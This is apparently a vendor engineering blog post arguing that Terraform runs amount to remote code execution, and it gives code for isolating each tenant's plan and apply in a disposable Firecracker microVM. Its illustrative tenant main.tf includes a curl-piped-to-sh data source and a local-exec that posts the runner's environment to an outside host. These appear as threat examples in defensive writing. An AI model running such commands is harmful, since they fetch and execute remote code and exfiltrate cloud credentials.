One microVM per Terraform run: isolating IaC per tenant

If you operate a platform that runs other people's Terraform — a self-hosted Atlantis, an internal deploy service, a Spacelift-shaped product of your own, or the runner behind a "connect your cloud account" button — you are in the arbitrary code execution business. Not metaphorically. A Terraform run downloads binaries chosen by the configuration, executes them as native processes, and hands them a customer's cloud credentials through the environment. The only thing separating that from a textbook RCE writeup is that you called it a pipeline.

I'm Ajay; I build PandaStack, a Firecracker microVM platform, and this shape keeps arriving in my inbox from teams who did the sensible thing first: one runner pod, autoscaled, shared by every tenant, with credentials fetched per run. It works beautifully until the day it is the most interesting machine in your account. This post is the practical version — why plan and apply are both code execution, what one microVM per run looks like, how to keep plan and apply continuous without re-initializing and hoping, and how to survive a forty-minute apply.

terraform apply is remote code execution, and you sent the invitation

Terraform's provider model is a plugin architecture. A provider is a Go binary that `terraform init` downloads from a registry and `terraform plan` forks and speaks gRPC to over go-plugin. It is not sandboxed, not audited by you, and not restricted to talking to the cloud it claims to manage. It is a Go program you downloaded and ran, usually with AdministratorAccess. That is the headline surface, but the configuration language has several more, and all of them are things a tenant writes into a file that you then execute on their behalf:

• Providers. Any `source` string resolves to a binary. Registry namespaces are first-come-first-served in most ecosystems, and a plausible name plus a version constraint is the whole attack.
• Modules. `init` fetches module sources from git, HTTP, object storage, or a registry — arbitrary URLs, resolved transitively, before anyone has looked at what came back.
• The `external` data source. It runs a program and reads its stdout as JSON. It runs during plan.
• Provisioners. `local-exec` runs a shell command on the runner. `remote-exec` runs one somewhere else, from the runner, over whatever network the runner sits on.
• Custom provider mirrors and `dev_overrides` in a `.terraformrc` the tenant supplies, which can point plugin resolution at a path or host of their choosing.

# main.tf, as submitted by a tenant. Every block below is an execution
# surface. Terraform treats all of them as ordinary configuration,
# because to Terraform they are.

terraform {
  required_providers {
    # A provider is a Go binary. `init` downloads it; `plan` forks it and
    # talks gRPC to it. It inherits this process's environment and this
    # machine's network position. "acme/gcp-helper" is not Google and is
    # not HashiCorp -- it is a namespace somebody registered.
    gcp_helper = {
      source  = "acme/gcp-helper"
      version = "0.4.1"
    }
  }
}

# Runs during PLAN. `terraform plan` is not a dry run of code execution;
# it is a dry run of infrastructure changes, which is a different claim.
data "external" "inventory" {
  program = ["bash", "-c", "curl -s https://inv.tenant.example/bootstrap | sh"]
}

# Module sources are fetched by `init` from wherever the string points,
# transitively, before review.
module "network" {
  source = "git::https://git.tenant.example/infra/net.git?ref=main"
}

resource "null_resource" "bootstrap" {
  provisioner "local-exec" {
    # "local" means: on your runner. With your runner's filesystem, your
    # runner's network, and whatever credentials are in its environment.
    command = "env | curl -s -X POST --data-binary @- https://collect.example/e"
  }
}

And then the credentials. A runner cannot plan without read access to the target account, and cannot apply without write access. The role attached to a run is, almost by definition, close to omnipotent within that tenant's cloud. So the process you have created is: fetch a stranger's binary, run it as a native process, in an environment containing keys that can create IAM users.

The shared runner pod is a credential blender

The default architecture is one runner deployment, N replicas, a queue, and a workspace directory per run. Credentials get fetched per run and exported into the process. Everything else — kernel, filesystem, plugin cache, network position, and the pod's own service account — is shared by every tenant you have. Here is what that actually shares, in roughly the order teams discover it:

• State files. Terraform writes state to disk during a run, and state contains resolved values: database passwords, private keys, generated secrets, connection strings. A crashed run leaves `terraform.tfstate` and `.tfstate.backup` in a working directory the next tenant's `local-exec` can read.
• The provider plugin cache. `TF_PLUGIN_CACHE_DIR` is a shared directory of executable files, populated from tenant-controlled source strings. A poisoned cache entry is a binary that every later run of that provider executes.
• Environment variables. The runner process env holds whatever the platform put there — your registry token, your webhook signing secret, your object storage credentials — and `env` is a one-line provisioner away.
• The pod's own identity. Kubernetes service account token at a well-known path, cloud instance metadata one link-local address away. A tenant's provider that reaches the metadata endpoint stops being a tenant and starts being your control plane.
• The kernel. Every tenant's untrusted binaries are syscall-adjacent to every other tenant's, with one shared attack surface between them and the host.
• Time. A long-running pod accumulates. The tenth run inherits the artifacts of runs one through nine, and nobody has a complete list of what those were.

The chain that gets written up afterward is boring and short: tenant A's config references a lookalike provider, the provider runs during plan, it reads the pod environment and the mounted service account token, it uses your platform's credentials rather than tenant A's, and now the blast radius is every tenant whose state files, cached secrets, or cloud connections that identity can reach. Nobody escaped anything. There was nothing to escape.

A shared runner does not have a multi-tenancy bug. It has a multi-tenancy assumption, and the assumption is that nobody will write the obvious thing into a .tf file.

The shape: one microVM per run, credentials injected at exec time

The unit of isolation should match the unit of trust, and the unit of trust here is one run for one tenant. Not one runner per tenant, which drifts and idles and eventually gets reused. One VM per plan, one VM per apply, destroyed at the end of each.

That is only viable if creating a VM is cheap enough to stop being a decision. On PandaStack a sandbox is created by restoring a pre-baked Firecracker snapshot rather than cold-booting: p50 179ms, p99 203ms, with the restore step itself around 49ms; only the first-ever boot of a template costs about 3 seconds. At that price, per-run isolation is the path of least resistance rather than a policy people route around when the queue is deep.

1. Create a VM from a template that already contains the Terraform/OpenTofu binaries you support, tagged with the run id and tenant in metadata.
2. Write the tenant's configuration in over the filesystem API. Nothing is cloned from a git URL by the host.
3. Assert the network shape before Terraform starts: the tenant's cloud APIs reachable, everything else not.
4. Run `init` and `plan` with the tenant's credentials passed on the exec call, never written to a file and never present in the image.
5. Snapshot the VM immediately after plan succeeds. That snapshot is the apply's starting point.
6. Pull the plan JSON out, destroy nothing yet, and wait for approval with a TTL as the backstop.
7. On approval, restore the snapshot, re-inject fresh credentials, and apply the plan file that VM already holds.

# runner.py -- one Firecracker microVM per Terraform run, per tenant.
# The VM is the trust boundary; the tenant's HCL is untrusted input that
# happens to be Turing-complete enough to matter.
import json
import shlex
from pandastack import Sandbox

PLAN = """#!/bin/bash
set -uo pipefail
mkdir -p /work/out
cd /work/cfg

# Preflight the network before Terraform gets a turn. A run that cannot
# reach the metadata endpoint is a run whose providers cannot either.
bash /work/preflight.sh > /work/out/preflight.log 2>&1 || exit 78

# init is where tenant-controlled strings become binaries on disk. This
# VM is ~200ms old and has an empty plugin cache, on purpose: nothing
# here was placed by a previous tenant.
terraform init -input=false -no-color > /work/out/init.log 2>&1
echo "init=$?" >> /work/out/steps.txt

# plan already executes provider code and any `external` data sources.
# -lock-timeout means we queue politely instead of failing at t=0.
terraform plan -input=false -no-color -lock-timeout=120s \\
  -out=/work/out/tfplan > /work/out/plan.log 2>&1
echo "plan=$?" >> /work/out/steps.txt

# The machine-readable diff is what your approval UI should render.
# Redact it before a human sees it: plan JSON contains resolved values.
terraform show -json /work/out/tfplan > /work/out/plan.json 2>/dev/null
"""


def plan(run_id: str, tenant: str, cfg: dict[str, str], creds: dict[str, str]):
    sbx = Sandbox.create(
        template="terraform-runner",     # tofu/terraform baked in, no creds
        ttl_seconds=7200,                # backstop: approval windows expire
        metadata={
            "run": run_id,
            "tenant": tenant,
            "phase": "plan",
            "trust": "none",
        },
    )
    for path, content in cfg.items():
        sbx.filesystem.write(f"/work/cfg/{path}", content)
    sbx.filesystem.write("/work/preflight.sh", open("preflight.sh").read())
    sbx.filesystem.write("/work/run-plan.sh", PLAN)

    # Credentials are passed on the exec call. They are not baked into the
    # template, not written to a file the config can read, and not present
    # in this VM before this line. They do appear in the guest's process
    # table for the duration -- which is survivable precisely because
    # nothing else lives in this guest and it dies at the end of the run.
    env = " ".join(f"{k}={shlex.quote(v)}" for k, v in creds.items())
    r = sbx.exec(f"env {env} bash /work/run-plan.sh", timeout_seconds=1800)

    out = {
        "run": run_id,
        "exit_code": r.exit_code,
        "duration_ms": r.duration_ms,
        "steps": sbx.filesystem.read("/work/out/steps.txt").decode(),
        "log": sbx.filesystem.read("/work/out/plan.log").decode()[-64000:],
    }
    if r.exit_code != 0:
        sbx.kill()
        return out, None

    out["diff"] = json.loads(sbx.filesystem.read("/work/out/plan.json"))

    # Freeze the VM in its post-plan state: the exact provider binaries
    # init resolved, the exact .terraform lock, the exact tfplan file.
    # Apply will start from here rather than from a fresh init.
    sbx.snapshot()
    return out, sbx

Two things in there do most of the work. The configuration is written into the guest rather than cloned by the host, so a malicious module URL is resolved inside the boundary rather than by a process holding your platform's git token. And the credentials arrive on the exec call, so the window in which they exist is bounded by a command rather than by a machine's lifetime.

Rules for the credentials themselves

• Short-lived and scoped. Assume a role for the run, expiring on the order of the run's timeout. A leaked credential with a lifetime measured in hours is a different incident from one with a lifetime measured in months.
• Never on disk in the guest. No `~/.aws/credentials`, no `terraform.tfvars` you generated, no exported shell profile in the template.
• Never in the snapshot. Snapshot after plan, but treat any credential material still resident in that guest's memory as part of what you are persisting, and prefer credentials that will have expired by the time anyone could restore it.
• Never in the state you keep. State contains resolved values by design. Encrypt the backend, restrict who can read it, and do not render raw plan JSON in a UI without redaction.
• Not your identity. The runner VM should carry no platform credentials at all — no registry token, no object storage key, no service account file. Results come out over the filesystem API, which is a host-side channel the guest cannot authenticate to.

Plan then apply: the continuity problem nobody plans for

A Terraform plan file is not a document. It is a binary artifact bound to a specific state serial, a specific set of provider versions, and a specific working directory that contains the `.terraform` tree those providers were resolved into. `terraform apply tfplan` in a directory that was initialized separately is at best a version-mismatch error and at worst a successful apply of something subtly different from what a human approved.

The common workaround is to store the plan file somewhere, spin a fresh runner at approval time, re-run `init`, and apply. That re-resolves module sources and provider versions from the network at a later moment than the plan did. If the constraint is not fully pinned, or a registry served something different, or a git ref moved, you have quietly applied a plan produced by different code than the code now executing it. This is the failure mode where the diff a human approved and the change that landed are two different objects, and the audit log will show neither discrepancy.

Snapshot and restore fixes this without ceremony. The post-plan VM already contains the resolved providers, the lock file, the working directory, and the plan file. Freeze it. When approval lands, restore it and run apply against the artifact that is already sitting there. Same host forks land in the 400–750ms range; a cross-host restore is 1.2–3.5s, which matters when approval arrives four hours later and the original agent is long gone.

# apply.py -- the approval half. The plan VM was snapshotted at the end
# of plan(); this restores that exact machine instead of re-initializing
# and hoping the registry served the same bytes four hours later.
from pandastack import Sandbox

APPLY = """#!/bin/bash
set -uo pipefail
cd /work/cfg

bash /work/preflight.sh > /work/out/preflight-apply.log 2>&1 || exit 78

# No init. No re-resolution. The .terraform tree, the lock file and the
# plan file in this VM are the ones the diff was generated from.
# -lock-timeout so a queued run waits for the state lock rather than
# dying; the LOCK belongs to the backend, not to this VM.
terraform apply -input=false -no-color -auto-approve \\
  -lock-timeout=300s /work/out/tfplan > /work/out/apply.log 2>&1
echo "apply=$?" >> /work/out/steps.txt
"""


def apply(plan_vm: Sandbox, run_id: str, tenant: str, creds: dict[str, str]):
    # Fork rather than resume in place: the plan snapshot stays intact, so
    # a failed apply can be re-run from the identical starting state, and
    # the snapshot remains as evidence of what was approved.
    sbx = plan_vm.fork()
    try:
        sbx.filesystem.write("/work/run-apply.sh", APPLY)
        env = " ".join(f"{k}={v}" for k, v in creds.items())  # FRESH creds

        # A real apply can take 40 minutes. The timeout is the run budget,
        # not a guess -- and the VM's TTL must be larger than it, or your
        # own reaper becomes the thing that abandons a half-applied change.
        r = sbx.exec(f"env {env} bash /work/run-apply.sh", timeout_seconds=5400)

        return {
            "run": run_id,
            "tenant": tenant,
            "exit_code": r.exit_code,
            "duration_ms": r.duration_ms,
            "log": sbx.filesystem.read("/work/out/apply.log").decode()[-256000:],
            # Pull state out over the host-side filesystem channel if you
            # keep a copy; the guest never gets backend write credentials
            # it does not need.
        }
    finally:
        sbx.kill()   # apply VM is disposable; the plan snapshot is not

The forty-minute apply, and the reaper that kills it

Ephemeral compute platforms are built around the assumption that work is short and idleness means done. Terraform disagrees. An RDS instance takes double-digit minutes. A managed Kubernetes cluster takes longer. A CloudFront distribution is a coffee, a lunch, and a re-evaluation of your career. During all of it the runner is doing almost nothing: one process, polling an API, zero CPU, zero network to speak of, zero terminal output for minutes at a stretch. That profile looks exactly like an abandoned sandbox to any idle-detection heuristic, and killing it mid-apply is not a lost job, it is a partially applied change with a state file that may or may not have been written and a lock that may or may not have been released. This is the one place where being aggressive about cleanup costs real money.

• Set the TTL from the operation, not from a default. An apply touching managed databases gets a budget in hours; a plan on a config with twelve resources does not need one.
• Do not let idle timeouts govern apply VMs. Long applies are idle by nature. If your platform reaps on inactivity, either disable it for the apply phase or emit periodic output so the VM registers as alive.
• Give Terraform its own timeout inside the guest, shorter than the VM's TTL, so the process gets a chance to fail cleanly and release the state lock before the machine disappears underneath it.
• Stream logs out rather than collecting them at the end. A run that dies at minute 38 should still leave you 38 minutes of log, and a human watching an apply wants to see it move.
• Treat abrupt VM death as a lock incident, not a job failure. Alert on it, and reconcile the lock deliberately rather than letting the next run discover it.

The runner should never be the thing holding the lock forever

State locking exists so two runs cannot write the same state concurrently. It is held in the backend — DynamoDB, GCS, a Postgres row, Terraform Cloud — and it is released by the process that took it. When that process is inside a VM you designed to be disposable, you have created a way to abandon a lock at any moment. The design rule is that the lock's lifetime should be a property of the backend and your orchestration, not of a guest VM's health. In practice that means a few unglamorous things:

• Always pass `-lock-timeout`. Without it, a concurrent run fails immediately instead of queueing, and users learn to retry in a loop, which is how you end up with four runs racing for one lock.
• Serialize per workspace in your own queue, before Terraform ever starts. The backend lock is a safety net, not a scheduler.
• Never run `force-unlock` automatically. A stuck lock means a run's outcome is unknown, and unknown is a human decision. Automating it means eventually automating the corruption of a state file.
• Record the lock id with the run. When you do have to force-unlock, you want to name the run that took it rather than guessing.
• Give each tenant their own backend and their own credentials for it. Shared state storage with per-key access control is a permission model you will get wrong once, at scale, quietly.

Egress: allowlist the clouds this tenant actually targets

Isolation stops a malicious provider from reaching your host. Egress control decides whether it can reach anything worth reaching. Terraform's network needs are unusually enumerable: a registry and module sources during init, then the specific cloud API endpoints for the providers in use. That is a short list, and everything outside it is either a mistake or a finding.

Default-deny outbound, allowlist per run, and log the denials. On PandaStack each sandbox has its own network namespace — 16,384 pre-allocated /30 subnets per agent — so "this run may talk to AWS us-east-1 and nothing else" is a property of one VM rather than a firewall rule somebody has to remember to remove. The two destinations worth being explicit about: the link-local instance metadata address, which hands out whatever identity the host has, and your own internal networks, which the runner has no business seeing at all.

#!/bin/bash
# preflight.sh -- runs inside the run VM before Terraform does. Asserts
# the network the run is allowed to see and fails loudly if the shape is
# wrong. Discovering a policy gap here is much cheaper than discovering
# it in a provider's outbound connection at minute 30 of an apply.
set -uo pipefail
fail=0

# 1. What this tenant's providers legitimately need. Generate this list
#    from the required_providers block + the tenant's target region, not
#    from a wildcard somebody added during an incident and never removed.
for host in registry.terraform.io sts.amazonaws.com ec2.us-east-1.amazonaws.com; do
  if curl -sS -o /dev/null --max-time 5 "https://$host" 2>/dev/null; then
    echo "allow   $host"
  else
    echo "BLOCKED $host  <-- allowlist is wrong, run would fail mid-apply"
    fail=1
  fi
done

# 2. What must be unreachable. 169.254.169.254 is the one that turns
#    "ran a third-party provider" into "holds the host's own role".
for target in 169.254.169.254:80 metadata.google.internal:80 10.0.0.1:443; do
  host="${target%%:*}"; port="${target##*:}"
  if timeout 3 bash -c "exec 3<>/dev/tcp/$host/$port" 2>/dev/null; then
    echo "REACHABLE $target  <-- aborting: egress policy did not apply"
    fail=1
  else
    echo "denied  $target"
  fi
done

# 3. Fail closed. An exit here aborts the run before any provider binary
#    has been downloaded, let alone executed.
exit "$fail"

Four places to run a tenant's Terraform

Same job, four topologies. Characterizations of any specific product's isolation, provisioning, and pricing behavior should be verified against that vendor's own documentation, because those details vary by configuration and they change.

• Blast radius of a malicious provider — Shared runner pod: every tenant's state, cached secrets, and the platform's own identity, with nothing broken along the way. Container per run: fresh filesystem, but the host kernel, the node's metadata endpoint, and the node's network are all still one hop away. Cloud VM per run: a real hardware boundary, scoped to one tenant. microVM per run: own guest kernel behind hardware virtualization, own network namespace, destroyed at the end of the run.
• Start cost — Shared runner pod: none, the pod is already warm, which is exactly why it is reused. Container per run: fast, plus image pull on cold nodes. Cloud VM per run: minutes of boot and provisioning per plan, which is why teams stop doing it per run. microVM per run: snapshot restore at p50 179ms / p99 203ms; same-host fork 400–750ms.
• Plan-to-apply continuity — Shared runner pod: the working directory may or may not still exist, on may or may not be the same replica. Container per run: gone at exit, so apply re-inits and re-resolves. Cloud VM per run: keep it alive between plan and approval and pay for an idle machine for hours. microVM per run: snapshot the post-plan VM, restore it at approval, apply the plan file it already holds.
• Credential exposure — Shared runner pod: process environment shared with the platform's own secrets, and state files from earlier tenants on disk. Container per run: env is per-container, but mounted service account tokens and node identity are not. Cloud VM per run: instance profile is a second identity you now have to keep off the run. microVM per run: creds arrive on one exec call, the guest holds no platform identity, and results leave over a host-side channel.
• Cleanup — Shared runner pod: whatever the run left behind is now shared state; you cannot enumerate it. Container per run: `docker rm`, plus anything written to shared volumes or plugin caches. Cloud VM per run: terminate it, then remember the disk, the snapshot, the security group. microVM per run: kill the VM and disk, memory and every surviving process go with it, with TTL as the backstop for runs nobody closed.

The audit trail: one run, one machine, one record

The nice side effect of a VM per run is that the run becomes an object. Put the run id, tenant, workspace, git commit, and phase into the sandbox's metadata, and "which machine executed this change" stops being an inference from timestamps. When a tenant asks why a resource was destroyed, or an auditor asks who approved what, you want the answer to be a lookup.

• The configuration as submitted, hashed. Tenants edit branches; the hash pins what you actually executed.
• The `.terraform.lock.hcl` and resolved provider versions, read from inside the guest after init, not from what the config requested.
• The plan JSON, redacted, alongside the identity of whoever approved it and when.
• Full init/plan/apply logs, streamed out during the run rather than collected at the end.
• The egress denial log. A provider that tried to resolve an unfamiliar domain during plan is the highest-signal artifact in this entire pipeline, and you only get it if something was there to say no.
• The snapshot id of the post-plan VM, so the approved state is reconstructable rather than described.

None of this is free. You are running a fleet of short-lived machines, maintaining a template per Terraform version you support, generating an egress allowlist per run, and reasoning about TTLs against operations that legitimately take an hour. A VM that vanished is harder to debug than a pod you can still `kubectl exec` into, so stream your logs and mean it.

What you get back is that the sentence "we execute arbitrary third-party binaries with our customers' cloud credentials" stops being a thing you hope nobody says out loud in a security review. It becomes a description of a bounded process: one tenant, one run, one machine, one short-lived credential, one narrow network, and a machine that no longer exists. The providers are still unsandboxed Go programs you downloaded and ran. They just have nowhere interesting to go.